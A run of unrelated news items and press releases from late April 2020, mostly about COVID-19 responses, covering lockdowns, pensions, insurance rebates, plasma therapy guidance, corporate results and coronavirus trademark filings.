iftar items on streets to ensure social distancing, he said. In another development, the DMP said shops selling daily necessities in neighbourhoods and alleys in the capital will be open from 6 a.m. to 4 p.m. instead of 2 p.m. from Tuesday. Medicine stores and emergency service providers will be outside the purview of the restrictions, Rahman told The Daily Star. A countrywide shutdown has been in force since March 26 to prevent the spread of novel coronavirus which has so far infected 5,913 people and claimed the lives of 152 others. Error. Page cannot be displayed. Please contact your service provider for more details. (28) The Rector of the National Film and Television Institute (NAFTI), Dr. Samuel Nai has hinted that government is seriously engaging with stakeholders to establish the National Institute of Communication and Media Arts. The University of Media Arts and Communication Bill aiming to merge the National Film and Television Institute (NAFTI), Ghana Institute of Journalism(GIJ) and the Ghana Institute of Languages(GIL) as one University, has been laid before cabinet. Speaking to Citi News on the subject on the sidelines of a disinfection exercise by Zoomlion at NAFTI, Dr. Samuel Nai said he is hopeful that the implementation of the policy will be properly done. Plans are in motion, just before the shutdown of the school we had a meeting at the ministry and we have been having consultations with the institutions concerned to see how this thing is going to go. But it is still in the planning stage and as time goes on I believe you the media will begin to know. At this point in time, I cannot give you details but the structure is going to be more like a collegiate system where you have different colleges or schools under an umbrella which is the Media University, so that how it is going to be. I think that it is not a bad idea, depending on how it is done. But I believe looking at how things are going it will be done and done properly he added. The Finance Minister, Mr. Ken Ofori Atta, in his November 2018 budget presentation announced the impending merger of the GIJ, NAFTI and GIL into what he called the National Institute of Communication and Media Arts. Minister of State in charge of Tertiary Education, Professor Kwesi Yankah, had explained that the government's decision to merge the Ghana Institute of Journalism, the Ghana Institute of Languages and the National Film and Television Institute (NAFTI) into one tertiary Institute was to help them obtain a university license. Professor Yankah said though the three institutions had applied to be Universities they did not meet the standard. Stakeholders have raised concerns about the eventual loss of the'identities' and 'histories' of NAFTI, GIL, and GIJ after the merger. --- U.S. Senate Majority Leader Mitch McConnell dismissed the idea of giving federal funding directly to cash-strapped states last week, instead proposing legislation to allow states to file for bankruptcy. Such a move could jeopardize pension payments for retired public employees in many states, but that threat may be less severe in New York. Theres not going to be any desire on the Republican side to bail out state pensions by borrowing money from future generations, McConnell said on Hugh Hewitts conservative talk radio show on April 22, directly alluding to the possibility of reneging on pension obligations as an alternative to federal aid. And if Congress did push forward federal funding for states, he said that well certainly insist that anything wed borrow to send down to the states is not spent on solving problems that they created for themselves over the years with their pension programs. New Yorks pension fund is currently in a better position compared with many other states, making McConnells threat less severe for New Yorkers right now. The pension fund was valued at $225.9 billion in December, according to its third quarter report. New York was just one of eight states that had their pension funds at least 90% funded in 2017, according to the Pew Charitable Trusts. But with markets melting down because of the COVID-19 pandemic, public pension investment losses have collectively reached about $1 trillion, according to Moodys Investors Service. New York state is no exception, though the extremity of the losses remains to be seen. The good news is, from what Ive seen in the preliminary numbers, its not anywhere near the drop we experienced in 08 and 09 when the markets tanked in connection to the global financial crisis, State Comptroller Thomas DiNapoli, who oversees the pension fund, told City & State. The 2008 financial crisis resulted in a $45 billion hit to the plans assets. DiNapoli has promised that, for now, the states pension checks will continue to be sent out despite the pandemic. But depending on how volatile the market remains and how market returns look next March, when the pension fund will get valued again, the situation could worsen. The concern I have, really, is less for the retirees of today, because we have money for them, he said. Its really for the person starting work today, not retiring for 25, 30 years. Government employers may also face increased contributions to the pension funds, given the financial situation in the short-term, DiNapoli said. Mary Sullivan, president of the Civil Service Employees Association, said she was concerned about what would happen to pensions for future retirees. Long-term, I would be very concerned that the pension fund be harmed in such a way that it may affect our retiree members and future retirees going forward, she said. The economy of the state is very important to the success and the strength of that pension fund. But Andy Pallotta, who leads New York State United Teachers, said he had faith that pensions would be safe because theyve been extremely well-funded and well run. McConnels proposal to allow states to file for bankruptcy would reduce their obligation to pay out pensions. Previous attempts to allow states to file for bankruptcy faced widespread criticism from governors in both parties, public sector unions and Wall Street investors. Such a proposal would also likely be considered unconstitutional. It's no surprise that public sector unions and New York elected officials have equally disparaged McConnells comments. By cutting New York off, hes cutting everybodys throat, Sullivan said, citing an argument made by Gov. Andrew Cuomo that New York contributes more in federal dollars than it gets back unlike Kentucky, which McConnell represents. BAKU, Azerbaijan, April 28 By Jeila Aliyeva - Trend: Ministry of foreign affairs of Turkmenistan hosted a meeting with Ambassador of the European Union to Turkmenistan Diego Ruiz Alonso on April 27, Trend reports with reference to Zolotoy Vek (Golden Age) newspaper. The parties exchanged views on implementation of joint projects and programs in various fields. It was noted that the energy sector and humanitarian sphere are the priority areas of the partnership. Diego Ruiz Alonso stressed that the EU looks forward to further effective cooperation with Turkmenistan within the framework of the goals and objectives of the updated EU Strategy for Central Asia. The EU appreciates and supports initiative by President of Turkmenistan Gurbanguly Berdimuhamedov to create optimal conditions for sustainable development on a regional and global scale and ensure stable international cargo transportation in the current situation, he added. Bilateral relations between Turkmenistan and the EU are regulated by Interim Trade Agreement signed in 1998. Within this Agreement, the EU and Turkmenistan hold annual meetings of the joint committee, during which key aspects of bilateral cooperation are discussed. Follow the author on Twitter: @JeilaAliyeva BEIJING, April 27 (Xinhua) -- China on Monday opposed the attempts of some people in the U.S. to grab more votes and undermine China's interests by smearing China in the context of the pandemic and U.S. presidential elections. Foreign Ministry spokesperson Geng Shuang made the remarks at a press briefing when asked to comment on a memo by the National Republican Senatorial Committee of the United States that urges Republican candidates to address the COVID-19 pandemic by aggressively attacking China. The 57-page memo, exposed by U.S. media on April 24, stresses three main lines of assault: That China caused the virus "by covering it up," that Democrats are "soft on China," and that Republicans will "push for sanctions on China for its role in spreading this pandemic," as was summarized by U.S. media. "It is just all too obvious why some political forces in the United States have been obsessively attacking China using the pandemic as a weapon," Geng said. Citing the U.S. claims that "China spreads disinformation," Geng asked, "If those reports are true, we must ask: who exactly has been the source of disinformation?" Customers can choose between claiming the rebate or donating it to a charity fighting Coronavirus Requests can be made from June 8th, 2020 As part of its response to the unprecedented coronavirus (Covid-19) pandemic, Liberty Insurance has committed to giving premium rebates to the total value of 5 million to its Irish motor insurance customers on their existing premiums. As part of this gesture, Liberty will give back to each customer 15% of their premium for two months, subject to a minimum amount of 10. Liberty motor insurance customers with an active policy (except fleet) will be eligible for this premium rebate and will be able to request it from 8th of June 2020, through the website www.libertyinsurance.ie. Customers will have the option of directly claiming the premium rebate through a cash equivalent voucher, or alternatively, they can request that Liberty donate it to a charity working on the front-line in the fight against the Coronavirus. The decision is part of Liberty Insurances wider response to Covid-19. Other measures introduced by the insurer include greater flexibility on payment terms for motor and home insurance premiums, and financial contributions to Irish charities Alone and Pieta House to support those most at risk during this difficult time. At a European-level, Liberty Insurance has made a 250,000 donation to Medecins Sans Frontieres. According to Tom McIlduff, CEO of Liberty Insurance: Every time we make a decision at Liberty, our guiding principle is to do the right thing, to be responsible and to put our customers and employees first. We recognise that these are exceptional circumstances and now is a challenging time for many of our customers. We also recognise that risks on Irish roads are reduced in light of current restrictions. To this end, Liberty Insurance has committed to waiving a percentage of our customers motor premiums. We are also giving our customers the option of redirecting this saving to one of a number of charities Liberty is working closely with in the fight against Covid-19. In the meantime, we will continue to explore other ways of supporting our customers and colleagues through this challenging time. Bayer's chief executive officer won a key confidence vote from shareholders, a show of support that eluded him last year and affirms his efforts to pull the company out of the Roundup crisis. About 93% of shareholders gave their backing to Werner Baumann and other managers. The positive result is typically a foregone conclusion in corporate Germany, but the CEO lost the vote last year as shareholders revolted over the fallout of the $63 billion Monsanto takeover. Tuesday's vote boosts Baumann's position at a pivotal time. With the retirement of Supervisory Board Chairman Werner Wenning -- a longtime mentor of the CEO's who spent half a century at the company -- he's now the main champion of a takeover that has brought plenty of headaches. Those include lawsuits from more than 50,000 plaintiffs who say Roundup caused their cancer, which Bayer denies. Baumann insists the deal was smart, and he'll now be counted on more than ever to bring about a fast and financially manageable closure to the crush of lawsuits in the U.S. Beyond that, Baumann will need to keep promoting a corporate strategy that puts pharmaceuticals, consumer health and crop science under one roof. While some investors have questioned the logic of that structure, the coronavirus pandemic has underscored its benefits, Baumann said in remarks prepared for the meeting. "We're active in the right businesses," he said. "After all, what could be more important than contributing to health and nutrition around the world?" Shareholders also voted to clear the supervisory board at the company's annual general meeting on Tuesday. Because of Germany's measures to contain the coronavirus, the event took place largely online, defusing some of the theatrics of last year's tumultuous showdown in Bonn. While investors expressed continued frustration that Baumann has yet to resolve the lawsuits, their vote reflects a measure of patience with some of Bayer's efforts to fix the situation, including bringing in fresh legal experts. The shares are down more than a third since Bayer acquired Monsanto. Bayer has appealed three lost Roundup verdicts and insists the product is safe. The company is continuing mediation talks aimed at reaching a settlement, but the pace of those talks has slowed amid the coronavirus pandemic. Bayer has earmarked $522 million (480 million euros) to defend itself against the Roundup allegations, the company said earlier Tuesday. That figure includes money set aside for the coming three years of expected spending on the matter. While Bayer's management team won decisively on the yes-or-no ballot, about 8% of potential votes abstained. That was the recommendation of shareholder advisory firm Glass Lewis. The abstention rate was slightly lower when it came to the supervisory board. To comply with social distancing measures, shareholders submitted lists of questions in advance and Bayer's leadership convened in a conference room at headquarters in Leverkusen, Germany. In between trips to a podium from isolated pods, an employee with gloves and a face mask scrubbed down its surface and microphone. Bayer's leaders still answered about 250 questions from shareholders as the event stretched on for seven hours. But many investors -- along with the company's leadership -- expressed frustration that they couldn't have their usual exchange of views. Latest News Understanding the 'perfect storm' that was the Sydney property market in 2021 Leading expert reflects on the crazy year that brokers and buyers experienced and throws forward to the 12 months to come How to manage home buyer regret Tips for brokers on how they can keep their clients onside once they have bought While the deadline for non-major lenders to make their product data available under the Consumer Data Right has been set for 1 July 2020, the ACCC has granted a three-month exemption due to the COVID-19 pandemic. The temporary exemption applies to non-major ADIs, including banks, building societies and credit unions, as well as non-primary brand products offered by the major banks. The eligible lenders will now be required to share product reference data information about its rates, fees and features of banking products by 1 October 2020. The big four banks have been sharing this data since July 2019. The ACCC is granting these exemptions as an acknowledgement of the intense resource requirements of the industry as a result of the COVID-19 pandemic, and in particular non-major banks that may not be able to prioritise this at this time, explained ACCC commissioner Sarah Court. We understand that financial providers are dedicating many resources at present to support their customers; however, we do encourage providers to share product reference information on a voluntary basis if they are in a position to do so. The implementation of open banking has already been postponed once before, to make time for additional testing to ensure security and privacy protections were operating effectively. Both then and now, multinational consumer credit reporting company Experian has welcomed the ACCCs decision to delay. Its encouraging to see the ACCC continuing to push ahead with the launch of open banking while consulting with industry to agree to a time frame thats workable in the current climate, said Simone Jemmett, Experian A/NZ head of strategy and new markets. Jemmett highlighted the role that data can play in rebuilding Australias economy after the virus is contained. There's no doubt that digital channels are more important now than ever, and this will certainly be the case as we start to look ahead to recovery," she said. Open banking affords consumers an easier way to share their transaction data with credit providers via open banking APIs, giving them the ability to leverage their fuller financial history to access credit and lending facilities. Similarly, it will allow banks to be increasingly transparent about the products and services they offer, as well as enabling innovation thats directly responsive to the changing needs of their customers. However, the possible impact of the new banking system is contigent upon consumer awareness. We know from our research, both locally and in the UK, that consumers really know very little about open banking, Jemmett said. Experian data shows that nine out of 10 Australians are not aware of how open banking will impact them. Its potential to be meaningful is entirely dependent on showcasing the value exchange of data sharing, Jemmett emphasised. This exchange will take on a new meaning post COVID-19, when the financial landscape will look very different to what we would have anticipated at the outset of 2020. Haiti - FLASH : Address to the Nation of President Jovenel Moise Monday, President Moise addressed the Nation to speak in particular of its promises, of agriculture, of the order of $18.6 million placed in China and to evoke the post pandemic and the economic revival... Extracts from the address to the Nation of President Jovenel Moise : "[...] Haitian people, Brothers and Sisters across the country, [...] I have promised you that you will always get good information, in complete transparency, on everything the State does, particularly with regard to public expenditure. [...] We made the decision to help the workers in our factories. We have honored our commitment to the outsourcing industry. The State has paid more than 200 million Gourdes as promised to support the sector. 54,188 workers in all the industrial parks received the payment of their wages for 15 days that we promised. [...] We have promised to help 1.5 million families in need (March 27 https://www.haitilibre.com/en/news-30405-haiti-covid-19-moise-promises-food-to-1-million-families-and-cash-to-15-million-others.html ). The information I received made me realize that people have not yet received this money. Today I want to be clear to everyone. When I asked the Minister of Economy and Finance to be diligent so these 1,500,000 families could get this money to help them in this difficult time. I am working to make sure that this money goes directly into their pocket. We prefer to delay along the way but bring good news. What remains is for the people, as I like to repeat. The program was initiated so that city dwellers get 3,000 Gourdes and people in the countryside get 2,000 Gourdes. Today, I made the decision so that everyone gets 3,000 Gourdes. Because there must be no difference between people in the countryside and those in the cities. We are all Haitians. I am announcing that there are people in the 4 geographic departments of the country who will receive their money at the beginning of this week. [...] As I have always told you, whatever the Government does, we want to do it transparently. The Government has ordered equipment and materials for the amount of 2 billion Gourdes https://www.haitilibre.com/en/news-30395-haiti-covid-19-daily-bulletin-march-29-2020.html . The transport of this equipment and materials costs the State 900 million Gourdes. If the government had decided to ship this equipment by boat, it would not have cost all this money. But they were going to arrive in Haiti at the end of June. We would not have time to be ready to face the coronavirus. We couldn't take this chance. This is why we chose as an option to bring this equipment by plane. If there are no major difficulties, all of this equipment will arrive in the first half of May. And there will be an equivalent of 30 containers of medical equipment and materials. [...] As Head of State, I must ask myself what is the next step after the coronavirus ? It is obvious that there will be famine. We already have a lot of unemployment. The whole world is living in recession. All countries will strive to recapitalize their businesses at home. If we don't start taking steps to prepare for the post-coronavirus today, we will have a lot of problems. This is why I ask the Prime Minister to accelerate the formation of the economic unit which can allow us to think carefully with all the other sectors of the country, with a view to making good decisions on how the economic recovery should unfold. after the coronavirus. Regarding agricultural production, the Ministry of Agriculture has already started to plow land in several regions of the country and I will tell the Minister to provide farmers in these regions with good seeds to produce fast growing food [...] I would like to ask the Minister to start this plowing activity, to pay particular attention to the following agricultural areas: Plaine des Cayes, Plaine de Torbeck, Plaine de Chantal, Plaine de Camp-Perrin, Plaines de Les Anglais, Plaines d'Aquin, Plaines de Gommier, Plaine de Baconoix, the agricultural areas of the Haut-Plateau and Central Low -lands, The Plains of Ferrier, Terrier-rouge, Aux Peches, Caracol and Trou du Nord. La Plaine du Nord, Acul du Nord, Limonade, Quartier Morin, Saint-Raphael. All the agricultural land in the Trois Rivieres valley, from Gros Morne to reach the mouth of Port-de-Paix. The Plain of the Bay of Mosquitoes and Jean-Rabel. All agricultural areas of Haut Artibonite and Bas-Artibonite. Without forgetting the plain of Tomazeaux, Croix-Des-Bouquets, Arcahaie, Cabaret, Leogane and the 2nd plain of Petit-Goave. I want to announce to everyone that, as soon as a group of planters can come together to gather 500 hectares of land, that is to say even if they have a hectare, half a hectare, a quarter of hectare, as long as they can come together to form a block of agricultural production, if they do not have water for watering, the State has the obligation to install a solar pump for them, which means that they won't have to buy gasoline. The first plowing must be done free of charge [...]" See also : https://www.haitilibre.com/en/news-30405-haiti-covid-19-moise-promises-food-to-1-million-families-and-cash-to-15-million-others.html https://www.haitilibre.com/en/news-30395-haiti-covid-19-daily-bulletin-march-29-2020.html HL/ HaitiLibre The national lockdown will be extended for another two weeks for the vast majority of people when the current quarantine period ends after the bank holiday weekend. The Government will announce the extension on Friday while also outlining a roadmap for lifting social-distancing restrictions over the coming months. The only easing of working restrictions from May 5 being considered is for those who work outdoors, such as construction workers and gardeners. Over-70s who have been asked to cocoon will be told they can exercise once a day as long as they take social-distancing precautions. The National Public Health Emergency Team (Nphet) is still considering whether the non-essential travel ban can be extended beyond 2km. The Nphet is meeting tomorrow morning and on Friday to discuss the step-by-step plan for easing social distancing rules over the coming months. On Friday, Taoiseach Leo Varadkar and Health Minister Simon Harris will announce details of the plan to lift restrictions in phases. It is understood they will say that to move between the phases key targets on limiting the spread of the virus will have to be achieved first. The first phase will see minimal changes to lockdown rules but, if targets are met, the second stage will see more people get back to work and travel restrictions will be eased. In the second phase, it is expected employees who can safely maintain a two-metre distance from colleagues will be allowed to return to work. This could involve fast-food chains reopening - but only for takeaway service. In early June, the third phase could see people who have low levels of interaction with colleagues return to work. People who can work remotely may be asked to continue to do so until September. There is significant concern in the Government and the Nphet that once the restrictions are lifted there will be a second wave of Covid-19 cases. The capacity of intensive care units to handle a surge in patients presenting with the virus is also a key concern. However, this is not an issue at present. Yesterday, chief medical officer Tony Holohan said his team had to consider how the virus was spreading before it could recommend lifting restrictions. "We have always made it clear that there are certain things that we need to be satisfied with prior to recommending any change in current restrictions. The most important one is that the incidence rate of the virus needs to be as low as possible in terms its transmission in the community and within community and residential settings. "In addition, the impact of the disease on rates of mortality and hospitalisations, including admissions to intensive care units, also needs to be at a very low level," he said. Separately, Department of Taoiseach assistant secretary general Liz Canavan said the Government was "aware of reports on social media" of people saying they are "fed up" of the lockdown restrictions. She said people were "feeling confined" in their homes and neighbourhoods and were getting frustrated by queueing for groceries. "We know people's patience and resolve is waning," she added. "We know that every day we're putting out that call for solidarity and community spirit, as well as personal and collective behavioural change. "This is what is required of each and every one of us at each step to delay the transmission of Covid-19." As a public health professional with more than 40 years public health experience, I am shocked at the slowness and lack of leadership by federal and some state government officials to combat the Covid scourge. Recent White House guidelines for reopening our economy stipulate that reopening should not occur until widespread Covid 19 testing, contract tracing and quarantine measures are in place. Without these essential tools, we are essentially flying blind in this pandemic. It does not appear that many of the states who are beginning to reopen their economies have these tools now in place. Although the states are ground zero in this once in a lifetime battle, the federal government is best positioned to be leading the charge in maximizing the use of the Defense Production Act to make available widespread testing. States now vary widely in both their resources and ability to mount a broad-based testing program as indicated by our grossly inadequate current national level of testing which has been stuck at about 150,000 tests per day for weeks now. Current guidelines from medical experts recommend a testing level of a minimum of 750,000 to 1 million tests per day nationwide. We are testing far below that level. Many states are now in the process of reopening their communities. Without knowing the prevalence of the virus in each state and community through testing and without sufficient contact tracing and quarantine for persons with positive tests, the public health response will not be up to the task and could result in unnecessary and prolonged disease spread. Few states now have the ability to do adequate contact tracing for persons who test COVID-19 positive and Alabama is no exception. We have to do better. Without these tools in place, the pandemic will be much more severe and longer lasting that it needs to be and more of our fellow citizens will die. Claude Earl Fox III, M.D., M.P.H., former Alabama State Health Officer, Professor Emeritus, Miller School of Medicine, University of Miami Founding Director, Johns Hopkins Urban Health PRESIDENT Michael D Higgins has paid tribute to frontline workers who paid the ultimate price during the Covid-19 pandemic. Mr Higgins warned it would be an error if through some form of collective amnesia, we forgot their efforts during this dark chapter and returned to a society that often failed to value them enough. Flanked by workers at Aras an Uachtarain, Mr Higgins laid a wreath at a starry plough sculpture in memory of those who lost their lives. He paused in silence with his wife Sabina during the ceremony on an International Workers Memorial Day like no other. Read More Five workers representing hundreds of thousands of their colleagues socially- distanced in the sunny grounds in a much quieter than normal Phoenix Park. They were Karen McGowan, an advanced nurse practitioner at the emergency department in Beaumont, Maria Markey, an officer with Dublin Fire Brigade at Tara Street. Gerry Sexton, an An Post worker since 1984, Suzanne Hales, a cleaner at St James Hospital, and Catriona Mansfield, who works at SuperValu in Blanchardstown. Mr Higgins said he was there to celebrate the lives and contributions of those no longer with us, but alive in our minds and hearts. This year, sadly, we gather with our fellow workers across the globe at a time of unprecedented risk for those who work tirelessly and selflessly in our health services, and those who ensure the continued delivery of essential services and utilities on which our citizens depend, he said. He said in recent weeks we have witnessed outstanding work by those in jobs that are often undervalued. The statistics tell us that over a quarter of confirmed cases of Covid-19 relate to health care workers and our heart goes out to their loved ones, he said. It is only by closing the gap on words and actions in relation to conditions, safety and provision that we can sufficiently and ethically commemorate those workers we honour here today. He recalled the battle cry of Cork-born activist Mary Mother Jones. Pray for the dead and fight like hell for the living. General secretary of the Irish Congress of Trade Unions, Patricia King, said we are living through extraordinary days. Workers and their families have to keep going in the midst of a pandemic that has claimed many lives, undermined our economy and left many workers laid off or unemployed, she said. She said when life slowly returns to some new normal, workers must have a new paradigm based on equality and universal public services in a sustainable economy, as well as a commitment to create safer workplaces. [April 28, 2020] Designhill Announces the Launch of soslocalbusiness.com to Help Local and Small Businesses During Lockdown WILMINGTON, Delaware and GURUGRAM, India, April 28, 2020 /PRNewswire/ -- Every part of the global economy has been severely hit because of the ongoing Coronavirus Pandemic. However, small and local businesses are the ones which are the hardest hit. Not only has the current situation led to a lot of job losses but it has also forced many such businesses to wind up their operations under duress. The much anticipated Small Business Administration's $350 billion loans through the Paycheck Protection Program which was supposed to bring relief to all, ran out of money in mid-April. That is just within a week after it opened. And the additional package of another $320 billion will neither last very long nor will it be able to help most local businesses in a substantial way. Taking note of this current situation, Designhill.com, one of the world's leading creative marketplaces, has decided to step up and support its community of small businesses by all means possible. Driven by the passion of having helped more 1 million businesses to build their brand, the company is on the endeavor of doing even more. This week the company has launched yet another initiative - soslocalbusiness.com, a dedicated website for severely cash-strapped small and local businesses. SOSLB is a not-for-profit initiative and encourages individuals to help their local businesses by paying forward/paying in advance by way of purchasing vouchers listed by such businesses on the website. It's a win-win as on one hand customers would get hefty discounts and benefit from the exclusive deals while at the same time, it will help small businesses raise some extra working capital for paying their staff and rents. Designhill's Co-founder Rahul Aggarwal quoted, "We at Designhill serve business from diverse industries/sectors and we wish to support them during such troubled times, when they need us more than ever. We have pledged to dedicate 40% of our resources to help all such small businesses through various initiatives and we hope that we are able to help them survive during these hard times." If you are a small business and want to register for the SOSLB programme you can mail at [email protected] or signup here. Designhill: Designhill is the world's leading creative marketplace that caters to the creative needs of businesses and individuals alike who can source high-quality designs from professional designers and buy unique products created by independent artists. Media Contact: Alice Jackson [email protected] +91-8802692778 View original content to download multimedia:http://www.prnewswire.com/news-releases/designhill-announces-the-launch-of-soslocalbusinesscom-to-help-local-and-small-businesses-during-lockdown-301048439.html SOURCE Designhill [ Back To TMCnet.com's Homepage ] The Union health ministry on Tuesday advised against considering the plasma therapy to be a regular treatment for coronavirus and added that it should only be used for research and trial purposes till the time theres robust scientific evidence to support its efficacy. The government added further that plasma therapy could lead to life-threatening complications if not administered properly. There is no approved therapy for Covid-19 in the country including Plasma therapy. Plasma therapy is being experimented with and there is no evidence to support it as a treatment. It is only at an experimental stage. If not used properly, it can create life-threatening complications, said Lav Agarwal, joint secretary health ministry. The health ministry official said that the countrys top medical research body was conducting a study to find out the efficacy of plasma therapy and till then, doctors are advised to use it only for trial purposes. Plasma therapy is only to be used for research and trial purposes until an ICMR study on its efficacy is completed. ICMR is conducting a nation-wide research to study the efficacy of Plasma therapy, he added. Governments word of caution on plasma therapy comes at a time when several instances of it helping in virus-infected patients recovery have been reported. The Plasma therapy has been used selectively so far, mostly in severe cases where patients were on ventilator support. The HT Guide to Coronavirus COVID-19 Use of plasma therapy involves injecting blood-component plasma extracted from a cured coronavirus patient into a positive case. The plasma of a cured patient is considered to carry virus-fighting antibodies which boost the immune systems response to the disease. Plasma is the almost-clear liquid left behind after red and white blood cells and platelets are removed from the blood. Convalescent plasma therapy uses a blood component called plasma, which contains the virus-fighting antibodies, from people who have recovered from the infection to treat those who are severely ill with Covid-19 Several Covid-19 fighting medical care centres in India are reported to have started banking plasma from coronavirus recovered patients after its use was said to have shown positive results. A few days ago, Delhi health minister Satyendra Jain had reported that six critical coronavirus patients had nearly recovered after administration of the plasma therapy. On April 26, it was reported that Mumbais Lilavati hospital, too, had identified Maharashtras first patient to be given the therapy. For Coronavirus Live Updates One of Delhis designated coronavirus hospital, Lok Nayak hospital is already using the plasma therapy and the All India Institute of Medical Sciences (AIIMS) is reported is to getting ready to start it for those with severe Covid-19 infections. Vow ASA reported revenues of NOK 116 million for the first quarter of 2020. The year-on-year growth of 24 % is mainly a result of the acquisition of ETIA, which was included in the accounts from 1 October 2019. EBITDA in the first quarter was of NOK 14 million, representing a margin of 12 %. The company was awarded several new contracts during the first quarter and projects continued mostly uninterrupted. Performance was particularly strong in Projects and Aftersales (Scanship) with a combined EBITDA margin of 16.1 %. Order backlog at the end of the first quarter was all-time high NOK 975 million, partly a result of currency effects. These are truly strange times. While people, businesses and governments across all continents are fighting the covid-19 pandemic, Vow is reporting a strong first quarter of 2020 and only minimal adjustments in our project portfolio. In the cruise segment, all deliveries during 2020 are for newbuilds scheduled to enter operations from 2022 and deliveries are being prepared according to plan, says Henrik Badin, CEO of Vow. We are also experiencing continuing demand for our technology and solutions in land-based markets, and we remain optimistic about our plans for growth within several industry verticals, he says. These are also uncertain times. Cruise ships are docked, and some shipyards have been temporarily closed. Meanwhile, we are currently tendering and in discussions with yards for deliveries to ships confirmed in their orderbooks. Our overall sound order backlog and positioning in new industry verticals constitute a strong foundation for continued growth, Badin says. The corona pandemic (covid-19) has caused major disruptions to the world economy. The company is closely monitoring the situation, implementing measures to protect the people and operations, as well as to prepare for the potential operational and financial consequences of the situation. Vows business is continuing mostly as planned, without any significant changes in the delivery schedule of systems to the cruise industry. The company expects meanwhile, that its Aftersales segment will be increasingly affected going forward, since most cruise ships have been docked since March. Meanwhile, Vow maintains that revenues in the first half of 2020 is expected to be higher than in the second half of 2019. Vow expects to benefit from the growing concern for climate and the environment in the cruise industry, and with the acquisition of ETIA, the company is now also increasingly relevant towards a wide range of land-based industries. See enclosed Operational update 1Q 2020 and Presentation 1Q 2020 with further details. Today at 11.00 CET, the company's CEO Henrik Badin will host an online video conference. After a brief introduction, he will answer questions from the audience. The session will be held in English. A replay of the webinar will be made available on www.vowasa.com (http:/www.vowasa.com) shortly after. To register and join the webinar, please copy and past the following link into your browser and fill in the required information: https://www.vhgo.no/vow/ For further queries, please contact: Henrik Badin - CEO Vow ASA Tel: + 47 90 78 98 25 Email: henrik.badin@vowasa.com About Vow ASA In Vow and our subsidiaries Scanship and Etia we are passionate about preventing pollution and giving waste value. Our world leading solutions convert biomass and waste into valuable resources and generate clean energy for a wide range of industries. Cruise ships on every ocean have Vow technology inside which processes waste and purifies wastewater. Fish farmers are adopting similar solutions, and public utilities and industries use our solutions for sludge processing, waste management and biogas production on land. Our ambitions go further than this. With our advanced technologies and solutions, we turn waste into biogenetic fuels to help decarbonize industry and convert plastic waste into fuel, clean energy and high-value pyro carbon. Our solutions are scalable, standardized, patented and thoroughly documented, and our capability to deliver is well proven. They are key to end waste and stop pollution. Located in Oslo, the parent company Vow ASA is listed on the Oslo Stock Exchange (ticker VOW from 13 January 2020). This information is subject to the disclosure requirements pursuant to section 5-12 of the Norwegian Securities Trading Act. Attachments Photo Illustration by Sarah Rogers/The Daily Beast / Photos Getty The Healing Cabinet is a boutique cannabis dispensary supply company based near Santa Cruz. But in the weeks since the novel coronavirus swept across the country, its gotten into a different business: hand sanitizer. THC, as the company is cleverly acronymed, is now selling a product branded as COVID Killer, an ethyl alcohol-based disinfectant marketed by a sister company called DHM Group. According to its Instagram page, COVID Killer is now available at Ace Hardware stores in the area. Whether it remains in local retail or goes national, DHM is determined to protect its brand. Two weeks ago, the company applied for a trademark with the U.S. Patent and Trademark Office, hoping to claim sole ownership of the COVID Killer tagline. And theyre not the only ones who have branding on the mind as the pandemic lingers. Trademark applications filed with the Patent Office show an explosion in products marketed in some fashion as related to the virus. Nearly 200 applications containing the words coronavirus or COVID have been filed since March 29, the first time either word appeared in a trademark application, according to USPTOs online database. Many are simple word marks designed for apparel, jewelry, and bumper stickers, with catchphrases like I survived COVID-19 and COVID Lives Matter. But those trademark applications also include branded coronavirus tests and vaccines, personal protective equipment, technology products designed to assist health care workers, medical and dental devices, and even fitness programs that promise to help you shed your COVID-19 lbs. Trump-Connected Lobby Shop Gets Laundry Machine Company Deemed Essential Its simple enough to apply for trademark protection for ones brand or product. Applicants must clearly explain the mark they hope to protect and provide a snapshot of it, along with information about the individuals or companies trying to protect it. Trademarks can be re-upped indefinitely as long as the applicant submits the proper paperwork with the USPTO every 10 years, but its up to the applicant to take legal action to enforce that protection. Story continues Taken together, the scores of coronavirus-related applications provide a glimpse into a cottage industry of products designed to treat the coronavirus outbreak or marketed as a response to it. The companies seeking to protect their coronavirus-branded products run the gamut from multinational pharmaceutical firms to individuals hawking homemade goodsand, in the case of THC, at least one cannabis industry company thats hoping to get in on the action. Some of the companies that have applied for coronavirus trademarks are names that most Americans would recognize. Pharmaceutical giant Eli Lilly has protected three marks: COV-BEAT, COV-BLOCK, and COV-BARRIER. Its not clear what each of those products are (the company didnt respond to inquiries about them), but Lilly is deeply involved in efforts to develop a coronavirus vaccine. Other drug companies have trademarked their coronavirus treatments as well, though some appear to be less orthodox responses to a viral outbreak. The company JayMac Pharmaceuticals, for instance, has protected a brand called the Coronavirus Blues, which, it told the USPTO, involved gel caps for reducing symptoms related to emotional and psychological issues. The Coronavirus Blues appears to be a simple rebranding of JayMacs EnLyte vitamin supplement, which the company hypes as a panacea for depression and anxiety. As a gesture to the nation, to help with behavioural health issues, JayMacs CEO says in a video promoting its Coronavirus Blues product, we have an introductory offer for ENL of $29.95. Other newly trademarked products are more focused on the immediate threat of the coronavirus itself. Massachusetts-based T2 Biosystems has protected its T2COVID-19 Panel test kit. Charter Oak Development, a North Carolina health care product sourcing company, has trademarked its COVID-19 Rapid Test. A Vermont-based artificial intelligence startup called Biocogniv has trademarked a product called COVID-AI, which it says can screen and predict outcomes for COVID-19 within the first hour of presentation to emergency departments. Trademarks in the PPE space, meanwhile, have come from companies such as Jamestown Plastics, which is making protective face shields, branded COVIDCUFF, that its sold to medical personnel and first responders. A Portland dentist named Edward Ward has trademarked a medical face shield for use specifically by dentists. For all the ingenuity and urgency that comes through in many of recent coronavirus-related trademark applications, some appear to be marketing stunts as much as anything else. One recent application sought to protect the phrase COVID-19 lbs, a product that the applicant said would involve weight loss programs and cosmetic body care services in the nature of non-surgical body contouring. The underlying business: an Orange County cosmetic surgeon. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. California State University offered a vigorous response Tuesday to a class-action lawsuit seeking a refund of spring-term campus fees in the wake of the coronavirus pandemic. Two students at Northern California schools filed the suits late Monday against the University of California and Cal State systems. The complaints, filed in federal courts in Oakland and Los Angeles, claimed it was unfair and unlawful for UC and CSU to keep fees to cover the cost of certain on-campus services which are no longer available to students. The 10 UC and 23 CSU campuses moved to online instruction in mid-March, as did virtually all colleges and universities across the country. The lawsuits seek the disgorgement of the pro-rated, unused fees. UC declined to comment on the lawsuit, but Cal State spokesman 